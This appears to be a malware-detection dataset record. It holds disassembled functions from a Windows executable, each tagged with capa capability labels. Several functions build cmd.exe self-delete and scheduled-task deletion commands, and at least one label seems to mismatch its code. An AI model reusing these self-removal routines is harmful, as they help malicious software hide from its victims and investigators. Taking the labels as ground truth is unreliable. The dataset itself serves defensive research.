joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403300
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
lea esi, [ebp - 0x11c]
lea edi, [ebp - 0x12c]
sub esp, 0x14c
mov ebx, esi
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
sub esp, 4
mov dword [esp + 8], 0x104
mov dword [esp + 4], esi
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [ebp - 0x134], edi
sub esp, 0xc
mov edx, dword [ebx]
add ebx, 4
lea eax, [edx - 0x1010101]
not edx
and eax, edx
and eax, 0x80808080
je 0x403348
mov edx, eax
shr edx, 0x10
test eax, 0x8080
cmove eax, edx
lea edx, [ebx + 2]
mov ecx, eax
cmove ebx, edx
add cl, al
sbb ebx, 3
sub ebx, esi
cmp ebx, 0xf
mov dword [ebp - 0x138], ebx
ja 0x403470
cmp ebx, 1
je 0x403520
test ebx, ebx
mov eax, edi
jne 0x4034a1
mov dword [ebp - 0x130], ebx
mov byte [eax + ebx], 0
mov dword [esp], str.APPDATA
call sub.msvcrt.dll_getenv
lea ecx, [ebp - 0x114]
test eax, eax
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x11c], ecx
je 0x403550
mov dword [esp], eax
call sub.msvcrt.dll_strlen
cmp eax, 0xf
mov ebx, eax
mov dword [ebp - 0x138], eax
ja 0x4034c2
cmp eax, 1
je 0x403534
test eax, eax
lea edx, [ebp - 0x114]
jne 0x403580
mov dword [ebp - 0x118], eax
mov byte [edx + eax], 0
lea ecx, [ebp - 0x134]
mov eax, dword [ebp - 0x118]
mov dword [esp + 4], 0
lea esi, [ebp - 0x114]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x11c]
mov dword [esp], eax
call fcn.00466c30
sub esp, 0xc
cmp eax, 0xffffffff
mov eax, dword [ebp - 0x11c]
setne bl
cmp eax, esi
je 0x40344d
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x134]
cmp eax, edi
je 0x40345f
mov dword [esp], eax
call fcn.004e0b90
lea esp, [ebp - 0xc]
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret
lea eax, [ebp - 0x138]
lea ecx, [ebp - 0x134]
mov dword [esp + 4], 0
mov dword [esp], eax
call fcn.004c4000
mov edx, dword [ebp - 0x138]
sub esp, 8
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x12c], edx
mov dword [esp + 8], ebx
mov dword [esp + 4], esi
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
mov ebx, dword [ebp - 0x138]
mov eax, dword [ebp - 0x134]
jmp 0x40339c
lea eax, [ebp - 0x138]
mov dword [esp + 4], 0
mov ecx, esi
mov dword [esp], eax
call fcn.004c4000
mov edx, dword [ebp - 0x138]
sub esp, 8
mov dword [ebp - 0x11c], eax
mov dword [ebp - 0x114], edx
mov esi, dword [ebp - 0x13c]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], esi
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp - 0x138]
mov edx, dword [ebp - 0x11c]
jmp 0x4033fc
movzx eax, byte [ebp - 0x11c]
mov byte [ebp - 0x12c], al
mov eax, edi
jmp 0x40339c
mov esi, dword [ebp - 0x13c]
movzx edx, byte [esi]
mov byte [ebp - 0x114], dl
lea edx, [ebp - 0x114]
jmp 0x4033fc
mov dword [esp], 0x4ec064
call fcn.004da760
mov edx, dword [ebp - 0x134]
mov ebx, eax
cmp edx, edi
je 0x403570
mov dword [esp], edx
call fcn.004e0b90
mov dword [esp], ebx
call fcn.00441150
nop
lea esi, [esi]
mov eax, edx
jmp 0x4034ef
Function at 0x403ec0
Capabilities:
Create process on windows
Self delete

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
lea ecx, [ebp - 0x30]
lea ebx, [ebp - 0x28]
sub esp, 0x6c
mov esi, dword [ebp + 8]
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x2c], 0
mov byte [ebp - 0x28], 0
mov eax, dword [esi + 4]
add eax, 0xe
mov dword [esp], eax
call fcn.004c3d10
mov eax, 0x7fffffff
sub eax, dword [ebp - 0x2c]
sub esp, 4
cmp eax, 0xd
jbe 0x404019
lea ecx, [ebp - 0x30]
mov dword [esp + 4], 0xe
mov dword [esp], str._c_del__S__Q__
call fcn.004c3eb0
mov eax, dword [esi + 4]
sub esp, 8
lea ecx, [ebp - 0x30]
mov dword [esp + 4], eax
mov eax, dword [esi]
mov dword [esp], eax
call fcn.004c3eb0
mov eax, 0x7fffffff
sub eax, dword [ebp - 0x2c]
sub esp, 8
cmp eax, 0x19
jbe 0x40403e
lea ecx, [ebp - 0x30]
mov dword [esp + 4], 0x1a
mov dword [esp], str.MicrosoftWindowsRecent_
call fcn.004c3eb0
lea esi, [ebp - 0x40]
lea edx, [eax + 8]
sub esp, 8
mov dword [ebp - 0x48], esi
mov ecx, dword [eax]
cmp ecx, edx
je 0x403ff0
mov dword [ebp - 0x48], ecx
mov ecx, dword [eax + 8]
mov dword [ebp - 0x40], ecx
mov ecx, dword [eax + 4]
mov byte [eax + 8], 0
mov dword [ebp - 0x44], ecx
mov dword [eax], edx
mov dword [eax + 4], 0
mov eax, dword [ebp - 0x30]
cmp eax, ebx
je 0x403f9c
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x48]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], str.cmd.exe
mov dword [esp + 4], str.open
mov dword [esp], 0
mov dword [esp + 0xc], eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov eax, dword [ebp - 0x48]
sub esp, 0x18
cmp eax, esi
je 0x403fe2
mov dword [esp], eax
call fcn.004e0b90
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov ecx, dword [eax + 0x10]
mov edi, dword [eax + 0xc]
mov dword [ebp - 0x4c], ecx
mov ecx, dword [eax + 0x14]
mov dword [ebp - 0x50], ecx
mov ecx, dword [eax + 8]
mov dword [ebp - 0x3c], edi
mov edi, dword [ebp - 0x4c]
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x38], edi
mov edi, dword [ebp - 0x50]
mov dword [ebp - 0x34], edi
jmp 0x403f7a
mov dword [esp], 0x4ec08e
call fcn.004da9d0
mov edx, dword [ebp - 0x30]
mov esi, eax
cmp edx, ebx
je 0x404036
mov dword [esp], edx
call fcn.004e0b90
mov dword [esp], esi
call fcn.00441150
mov dword [esp], 0x4ec08e
call fcn.004da9d0
jmp 0x404025
Function at 0x405780
Capabilities:
Create process on windows
Self delete
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
lea ebx, [ebp - 0x30]
lea esi, [ebp - 0x28]
sub esp, 0xac
mov eax, dword [0x545054]
mov ecx, ebx
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x2c], 0
mov byte [ebp - 0x28], 0
add eax, 0x24
mov dword [esp], eax
call fcn.004c3d10
mov eax, 0x7fffffff
sub eax, dword [ebp - 0x2c]
sub esp, 4
cmp eax, 0x23
jbe 0x40593c
mov dword [esp + 4], 0x24
mov dword [esp], str.cmd.exe__C_schtasks__Delete__F__TN__
mov ecx, ebx
call fcn.004c3eb0
mov eax, dword [0x545054]
sub esp, 8
mov ecx, ebx
mov dword [esp + 4], eax
mov eax, dword [0x545050]
mov dword [esp], eax
call fcn.004c3eb0
lea eax, [ebp - 0x90]
sub esp, 8
mov dword [esp + 8], 0x4ec39d
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.004de5b0
mov eax, dword [ebp - 0x30]
cmp eax, esi
je 0x405823
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x90]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], str.cmd.exe
mov dword [esp + 4], str.open
mov dword [esp], 0
mov dword [esp + 0xc], eax
mov edi, dword [sym.imp.SHELL32.dll_ShellExecuteA]
call edi
sub esp, 0x18
mov dword [esp], 0x43c
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x78]
sub esp, 4
mov dword [esp], eax
call fcn.00403210
mov eax, dword [ebp - 0x78]
mov dword [esp + 4], pe_nt_image_headers32
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, dword [ebp - 0x78]
lea edx, [ebp - 0x70]
sub esp, 8
cmp eax, edx
je 0x4058a3
mov dword [esp], eax
call fcn.004e0b90
lea eax, [ebp - 0x48]
mov dword [esp], eax
call fcn.00403210
lea eax, [ebp - 0x48]
mov dword [esp + 4], str.cmd.exe__C_ping_127.0.0.1__n_2__w_3000__Del__
mov dword [esp], ebx
mov dword [esp + 8], eax
call fcn.004de760
lea eax, [ebp - 0x60]
mov dword [esp + 8], 0x4ec315
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.004de5b0
mov eax, dword [ebp - 0x30]
cmp eax, esi
je 0x4058eb
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x48]
lea edx, [ebp - 0x40]
cmp eax, edx
je 0x4058fd
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x60]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], str.cmd.exe
mov dword [esp + 4], str.open
mov dword [esp], 0
mov dword [esp + 0xc], eax
call edi
sub esp, 0x18
mov dword [esp], 0
call sub.msvcrt.dll_exit
mov dword [esp], 0x4ec08e
call fcn.004da9d0
mov edx, dword [ebp - 0x30]
mov ebx, eax
cmp edx, esi
je 0x405959
mov dword [esp], edx
call fcn.004e0b90
mov dword [esp], ebx
call fcn.00441150
mov ebx, eax
mov eax, dword [ebp - 0x60]
lea edx, [ebp - 0x58]
cmp eax, edx
je 0x405975
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x90]
lea edx, [ebp - 0x88]
cmp eax, edx
je 0x405959
mov dword [esp], eax
call fcn.004e0b90
jmp 0x405959
Function at 0x4059d0
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x1ac
lea eax, [esp + 0x10]
mov dword [esp], 0x202
mov dword [esp + 4], eax
call dword [sym.imp.WSOCK32.DLL_WSAStartup]
sub esp, 8
test eax, eax
mov edx, 2
je 0x405a00
mov eax, edx
add esp, 0x1ac
ret
movzx eax, word [esp + 0x10]
cmp al, 2
je 0x405a20
call dword [sym.imp.WSOCK32.DLL_WSACleanup]
mov edx, 2
add esp, 0x1ac
mov eax, edx
ret
shr ax, 8
cmp ax, 2
jne 0x405a09
call fcn.0040d590
mov edx, eax
jmp 0x4059f7
Function at 0x406920
Capabilities:
Set socket configuration

Disassembly:
push esi
push ebx
sub esp, 0x34
mov ebx, dword [esp + 0x40]
lea eax, [esp + 0x2c]
mov dword [esp + 0x2c], 1
mov esi, dword [ebx]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x44]
mov dword [esp + 0x10], 4
mov dword [esp + 8], 1
mov dword [esp + 4], 6
mov dword [esp], eax
call dword [sym.imp.WSOCK32.DLL_setsockopt]
sub esp, 0x14
test eax, eax
js 0x406980
mov dword [esp], esi
mov dword [esp + 4], str.TCP_NODELAY_set_n
call fcn.0041b5c0
add esp, 0x34
pop ebx
pop esi
ret
call dword [sym.imp.WSOCK32.DLL_WSAGetLastError]
mov dword [esp], ebx
mov dword [esp + 4], eax
call fcn.0040b230
mov dword [esp], esi
mov dword [esp + 8], eax
mov dword [esp + 4], str.Could_not_set_TCP_NODELAY:__s_n
call fcn.0041b5c0
add esp, 0x34
pop ebx
pop esi
ret

Function at 0x4069b0
Capabilities:
Set socket configuration

Disassembly:
push edi
push esi
push ebx
sub esp, 0xd0
mov eax, dword [0x545074]
mov dword [esp + 0x28], 0x4020
mov dword [esp + 0x2c], 0
mov dword [esp + 0x30], 4
test eax, eax
je 0x406a70
cmp eax, 2
je 0x406a24
lea eax, [esp + 0x30]
mov dword [esp + 8], 0x1001
mov dword [esp + 4], 0xffff
mov dword [esp + 0x10], eax
lea eax, [esp + 0x2c]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xe0]
mov dword [esp], eax
call dword [sym.imp.WSOCK32.DLL_getsockopt]
sub esp, 0x14
test eax, eax
jne 0x406a30
mov eax, dword [esp + 0x28]
cmp dword [esp + 0x2c], eax
jle 0x406a30
add esp, 0xd0
pop ebx
pop esi
pop edi
ret
lea eax, [esp + 0x28]
mov dword [esp + 0x10], 4
mov dword [esp + 8], 0x1001
mov dword [esp + 4], 0xffff
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xe0]
mov dword [esp], eax
call dword [sym.imp.WSOCK32.DLL_setsockopt]
sub esp, 0x14
add esp, 0xd0
pop ebx
pop esi
pop edi
ret
lea esi, [esp + 0x34]
mov ecx, 0x27
mov ebx, dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
mov edi, esi
rep stosd dword es:[edi], eax
mov dword [esp + 0x34], 0x9c
mov dword [esp + 0x38], 6
mov dword [esp + 0xc], 3
mov dword [esp + 8], 2
mov dword [esp], 0
mov dword [esp + 4], 0
call ebx
sub esp, 0x10
mov dword [esp + 0xc], 3
mov dword [esp + 8], 1
mov dword [esp], eax
mov dword [esp + 4], edx
call ebx
sub esp, 0x10
mov dword [esp + 0xc], 3
mov dword [esp + 8], 0x20
mov dword [esp], eax
mov dword [esp + 4], edx
call ebx
sub esp, 0x10
mov dword [esp + 0xc], 3
mov dword [esp + 8], 0x10
mov dword [esp], eax
mov dword [esp + 4], edx
call ebx
sub esp, 0x10
mov dword [esp + 8], eax
mov dword [esp + 0xc], edx
mov dword [esp + 4], 0x33
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
sub esp, 0x10
test eax, eax
je 0x406b40
mov dword [0x545074], 2
add esp, 0xd0
pop ebx
pop esi
pop edi
ret
mov dword [0x545074], 1
jmp 0x4069e3
Function at 0x406b50
Capabilities:
Receive data
Receive data on socket

Disassembly:
push esi
push ebx
mov eax, 0xffffffff
sub esp, 0x24
mov ebx, dword [esp + 0x30]
mov esi, dword [ebx + 0x5d8]
test esi, esi
je 0x406bb1
mov edx, dword [ebx + 0x44]
test edx, edx
je 0x406c20
lea eax, [esp + 0x18]
add edx, 0x68
mov dword [esp + 8], 0x4063b0
mov dword [esp], edx
mov dword [esp + 0x18], esi
mov dword [esp + 4], eax
mov dword [esp + 0x1c], 0
call fcn.0040e640
mov eax, dword [esp + 0x1c]
test eax, eax
jne 0x406bc0
mov dword [ebx + 0x5d8], 0
mov eax, 0xffffffff
add esp, 0x24
pop ebx
pop esi
ret
mov ecx, dword [esp + 0x34]
test ecx, ecx
je 0x406bce
mov eax, dword [esp + 0x34]
mov dword [eax], esi
mov edx, dword [esi + 0x17c]
mov ebx, dword [esi + 0x154]
test edx, edx
je 0x406bf0
mov dword [esp], esi
call fcn.0040f870
test eax, eax
je 0x406bac
mov eax, ebx
jmp 0x406bb1
lea eax, [esp + 0x17]
mov dword [esp + 0xc], 2
mov dword [esp + 8], 1
mov dword [esp], ebx
mov dword [esp + 4], eax
call dword [sym.imp.WSOCK32.DLL_recv]
sub esp, 0x10
test eax, eax
je 0x406bac
mov eax, ebx
jmp 0x406bb1
mov edx, dword [ebx + 0x40]
test edx, edx
jne 0x406b73
jmp 0x406bb1
Function at 0x40da10
Capabilities:
Set socket configuration

Disassembly:
sub esp, 0x2c
xor eax, eax
mov edx, dword [esp + 0x34]
mov dword [esp + 4], 0x8004667e
test edx, edx
setne al
mov dword [esp + 0x1c], eax
lea eax, [esp + 0x1c]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp], eax
call dword [sym.imp.WSOCK32.DLL_ioctlsocket]
sub esp, 0xc
add esp, 0x2c
ret
Function at 0x411cd0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov edx, dword [esp + 0xc]
mov eax, dword [esp + 4]
mov ecx, 1
mov dword [esp + 4], edx
mov edx, dword [esp + 8]
jmp fcn.00410070

Function at 0x412210
Capabilities:
Generate random numbers via winapi

Disassembly:
push ebx
mov ebx, 1
sub esp, 0x38
lea eax, [esp + 0x2c]
mov dword [esp + 0x2c], 0
mov dword [esp + 0x10], 0xf0000040
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
sub esp, 0x14
test eax, eax
jne 0x412260
add esp, 0x38
mov eax, ebx
pop ebx
ret
mov eax, dword [esp + 0x40]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x44]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x2c]
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
sub esp, 0xc
test eax, eax
mov eax, dword [esp + 0x2c]
mov dword [esp + 4], 0
mov dword [esp], eax
je 0x4122a5
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
sub esp, 8
xor ebx, ebx
add esp, 0x38
mov eax, ebx
pop ebx
ret
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
sub esp, 8
mov eax, ebx
add esp, 0x38
pop ebx
ret
Function at 0x416150
Capabilities:
Write file on windows

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x2c
mov eax, dword [esp + 0x44]
mov ebx, dword [esp + 0x40]
mov dword [esp + 0x18], eax
mov eax, dword [ebx + 0x390]
test eax, eax
je 0x4162b0
mov eax, dword [ebx + 0x4a8]
test eax, eax
je 0x416183
mov dword [esp], ebx
call fcn.00416010
mov dword [esp + 8], 2
mov dword [esp + 4], 2
mov dword [esp], ebx
call fcn.00428e30
mov ebp, dword [ebx + 0x4b0]
test ebp, ebp
je 0x4161ac
mov eax, dword [ebp + 0xc]
test eax, eax
jne 0x4161f0
mov eax, dword [esp + 0x18]
test eax, eax
je 0x4161ce
mov eax, dword [ebx + 0x48]
mov edx, dword [ebx + 0x4b0]
test eax, eax
je 0x4161c6
cmp edx, dword [eax + 0x2c]
je 0x4161ce
mov dword [esp], edx
call fcn.00415d80
mov dword [esp + 0x40], ebx
mov dword [esp + 0x44], 2
add esp, 0x2c
pop ebx
pop esi
pop edi
pop ebp
jmp fcn.00428e90
mov esi, dword [ebx + 0x390]
lea edx, [ebp + 0xc]
mov eax, ebp
call fcn.00414940
mov dword [esp + 4], esi
mov dword [esp], 0x4efb39
call sym.a.exe_curl_strequal
test eax, eax
je 0x4162f1
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x87
mov dword [esp + 4], 1
mov dword [esp], str._Netscape_HTTP_Cookie_File_n_http:__curl.haxx.se_docs_http_cookies.html_n_This_file_was_generated_by_libcurl__Edit_at_your_own_risk._n_n
lea esi, [eax + 0x20]
mov dword [esp + 0xc], esi
call sub.msvcrt.dll_fwrite
mov ebp, dword [ebp]
test ebp, ebp
je 0x4161ac
mov dword [esp + 0x1c], 1
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x416288
mov eax, ebp
call fcn.00414850
test eax, eax
mov edi, eax
je 0x416340
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4efc14
mov dword [esp], esi
call sym.a.exe_curl_mfprintf
mov dword [esp], edi
call dword [0x4ea01c]
mov ebp, dword [ebp]
test ebp, ebp
jne 0x416253
mov ecx, dword [esp + 0x1c]
test ecx, ecx
jne 0x4161ac
mov dword [esp], esi
call sub.msvcrt.dll_fclose
jmp 0x4161ac
mov edx, dword [esp + 0x18]
test edx, edx
je 0x4162d4
mov eax, dword [ebx + 0x4a8]
test eax, eax
je 0x4162d4
mov dword [esp], eax
call sym.a.exe_curl_slist_free_all
mov dword [ebx + 0x4a8], 0
mov dword [esp + 8], 2
mov dword [esp + 4], 2
mov dword [esp], ebx
call fcn.00428e30
jmp 0x4161ac
mov dword [esp], esi
mov dword [esp + 4], 0x4efbf8
call sub.msvcrt.dll_fopen
test eax, eax
mov esi, eax
je 0x416360
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x87
mov dword [esp + 4], 1
mov dword [esp], str._Netscape_HTTP_Cookie_File_n_http:__curl.haxx.se_docs_http_cookies.html_n_This_file_was_generated_by_libcurl__Edit_at_your_own_risk._n_n
call sub.msvcrt.dll_fwrite
mov ebp, dword [ebp]
mov dword [esp + 0x1c], 0
test ebp, ebp
jne 0x416253
jmp 0x41629b
mov dword [esp + 4], str._n_Fatal_libcurl_error_n
mov dword [esp], esi
call sym.a.exe_curl_mfprintf
mov edi, dword [esp + 0x1c]
test edi, edi
jne 0x416360
mov dword [esp], esi
call sub.msvcrt.dll_fclose
mov eax, dword [ebx + 0x390]
mov dword [esp + 4], str.WARNING:_failed_to_save_cookies_in__s_n
mov dword [esp], ebx
mov dword [esp + 8], eax
call fcn.0041b5c0
jmp 0x4161ac
Function at 0x41b1b0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
mov ebx, eax
sub esp, 0x34
mov eax, dword [eax + 0x1a0]
test eax, eax
je 0x41b1f0
mov esi, dword [ebx + 0x12c]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], ebx
mov dword [esp + 0x10], esi
mov esi, dword [esp + 0x40]
mov dword [esp + 0xc], esi
call eax
mov esi, eax
add esp, 0x34
mov eax, esi
pop ebx
pop esi
ret
xor esi, esi
cmp edx, 2
ja 0x41b1e2
mov eax, dword [ebx + 0x128]
mov dword [esp + 8], 1
mov dword [esp + 4], 2
mov dword [esp + 0x2c], ecx
mov dword [esp + 0xc], eax
lea eax, [edx + edx*2 + 0x4f07b0]
mov dword [esp], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [ebx + 0x128]
mov ecx, dword [esp + 0x2c]
mov dword [esp + 8], 1
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x40]
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.msvcrt.dll_fwrite
add esp, 0x34
mov eax, esi
pop ebx
pop esi
ret

Function at 0x41b2f0
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x1c
mov eax, dword [esp + 0x28]
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov eax, dword [esp + 0x24]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call dword [sym.imp.WSOCK32.DLL_recv]
sub esp, 0x10
cmp eax, 0xffffffff
je 0x41b330
mov edx, dword [esp + 0x2c]
mov dword [edx], eax
xor eax, eax
add esp, 0x1c
ret
call dword [sym.imp.WSOCK32.DLL_WSAGetLastError]
mov edx, 0x38
cmp eax, 0x2733
mov eax, 0x51
cmovne eax, edx
add esp, 0x1c
ret

Function at 0x41b710
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov eax, dword [esp + 0x3c]
mov esi, dword [esp + 0x30]
mov dword [esp + 0xc], 0
mov edi, dword [esp + 0x40]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x38]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x34]
mov eax, dword [esi + eax*4 + 0x154]
mov dword [esp], eax
call dword [sym.imp.WSOCK32.DLL_send]
sub esp, 0x10
cmp eax, 0xffffffff
mov ebx, eax
mov dword [edi], 0
je 0x41b765
add esp, 0x1c
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret
call dword [sym.imp.WSOCK32.DLL_WSAGetLastError]
cmp eax, 0x2733
mov ebp, eax
je 0x41b7b0
mov dword [esp], esi
mov dword [esp + 4], eax
call fcn.0040b230
mov dword [esp + 4], str.Send_failure:__s
mov dword [esp + 8], eax
mov eax, dword [esi]
mov dword [esp], eax
call fcn.0041b640
mov eax, dword [esi]
mov dword [eax + 0x8614], ebp
mov dword [edi], 0x37
add esp, 0x1c
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [edi], 0x51
xor ebx, ebx
jmp 0x41b75b

Function at 0x423370
Capabilities:
Query environment variable

Disassembly:
push ebx
sub esp, 0x128
mov dword [esp], eax
call sub.msvcrt.dll_getenv
test eax, eax
mov byte [esp + 0x1c], 0
je 0x423360
lea ebx, [esp + 0x1c]
mov dword [esp + 8], 0x104
mov dword [esp], eax
mov dword [esp + 4], ebx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
sub esp, 0xc
cmp byte [esp + 0x1c], 0
je 0x423360
mov dword [esp], ebx
call dword [0x4ea014]
add esp, 0x128
pop ebx
ret
add esp, 0x128
xor eax, eax
pop ebx
ret
mov eax, dword [esp + 4]
jmp 0x423310
Function at 0x429420
Capabilities:
Resolve dns

Disassembly:
push esi
push ebx
sub esp, 0x24
mov ebx, dword [esp + 0x30]
lea esi, [esp + 0x1c]
mov dword [esp], 2
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
call fcn.0040b0c0
test eax, eax
jle 0x429470
mov eax, dword [esp + 0x34]
mov dword [esp + 8], ebx
mov dword [esp + 4], esi
mov dword [esp], 2
mov dword [esp + 0xc], eax
call fcn.0040d460
add esp, 0x24
pop ebx
pop esi
ret
mov dword [esp], ebx
call dword [sym.imp.WSOCK32.DLL_gethostbyname]
sub esp, 4
test eax, eax
je 0x4294a0
mov edx, dword [esp + 0x34]
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.0040d320
add esp, 0x24
pop ebx
pop esi
ret
xor eax, eax
jmp 0x429461
Function at 0x42c270
Capabilities:
Create thread

Disassembly:
sub esp, 0x2c
mov eax, dword [esp + 0x34]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 4], 0
mov dword [esp], 0
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 8], eax
call dword [sym.imp.msvcrt.dll__beginthreadex]
lea edx, [eax - 1]
cmp edx, 0xfffffffd
mov edx, 0
cmova eax, edx
add esp, 0x2c
ret
Function at 0x42f670
Capabilities:
Read file on windows

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x20
mov edi, dword [eax]
cmp dword [edi + 4], 2
je 0x42f6d0
mov esi, dword [eax + 8]
test esi, esi
je 0x42f6f3
mov dword [esp + 0xc], esi
mov dword [esp + 8], ecx
mov dword [esp + 4], 1
mov dword [esp], edx
call sub.msvcrt.dll_fread
test eax, eax
jne 0x42f6c1
mov eax, dword [ebx + 8]
test eax, eax
je 0x42f6b9
mov dword [esp], eax
call sub.msvcrt.dll_fclose
mov dword [ebx + 8], 0
mov eax, dword [ebx]
mov eax, dword [eax]
mov dword [ebx], eax
xor eax, eax
add esp, 0x20
pop ebx
pop esi
pop edi
ret
mov esi, dword [eax + 0xc]
xor eax, eax
test esi, esi
je 0x42f6c1
mov eax, dword [edi + 8]
mov dword [esp + 8], ecx
mov dword [esp + 4], 1
mov dword [esp], edx
mov dword [esp + 0xc], eax
call esi
jmp 0x42f69f
mov dword [esp + 4], 0x4f37c0
mov eax, dword [edi + 8]
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], edx
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov esi, eax
mov dword [ebx + 8], eax
mov edx, dword [esp + 0x18]
test esi, esi
mov eax, 0xffffffff
mov ecx, dword [esp + 0x1c]
jne 0x42f687
jmp 0x42f6c1
Function at 0x431010
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push edi
push esi
push ebx
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
mov esi, dword [esp + 0x1c]
movzx eax, byte [edx]
test al, al
je 0x43104b
cmp al, 0x3d
je 0x43104b
lea ebx, [edx + 0xff]
jmp 0x43103b
cmp al, 0x3d
je 0x43104b
cmp edx, ebx
je 0x43104b
add ecx, 1
add edx, 1
mov byte [ecx - 1], al
movzx eax, byte [edx]
test al, al
jne 0x431033
mov byte [ecx], 0
cmp byte [edx], 0x3d
mov eax, 1
je 0x431060
pop ebx
pop esi
pop edi
pop ebp
ret
movzx eax, byte [edx + 1]
cmp al, 0x22
je 0x4310f1
lea ecx, [edx + 1]
xor ebp, ebp
test al, al
je 0x4310c4
mov edx, 0x3fe
xor edi, edi
jmp 0x4310b3
cmp al, 0x2c
je 0x4310e4
cmp al, 0x5c
jne 0x4310db
test edi, edi
jne 0x4310db
mov byte [esi], 0x5c
mov edi, 1
add esi, 1
mov esi, esi
lea edi, [edi]
add ecx, 1
movzx eax, byte [ecx]
test al, al
je 0x4310c4
test edx, edx
lea ebx, [edx - 1]
je 0x4310c4
mov edx, ebx
cmp al, 0x22
je 0x4310d4
jg 0x431080
cmp al, 0xa
je 0x4310c1
cmp al, 0xd
jne 0x4310db
add ecx, 1
mov eax, dword [esp + 0x20]
mov byte [esi], 0
mov dword [eax], ecx
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret
xor edi, 1
test edi, ebp
jne 0x4310c1
mov byte [esi], al
xor edi, edi
add esi, 1
jmp 0x4310a0
test ebp, ebp
je 0x4310c1
mov byte [esi], al
xor edi, edi
add esi, 1
jmp 0x4310a0
lea ecx, [edx + 2]
movzx eax, byte [edx + 2]
mov ebp, 1
jmp 0x431071

Function at 0x43de70
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
lea ebx, [esp + 0x24]
mov dword [esp], str.Mingw_w64_runtime_failure:_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
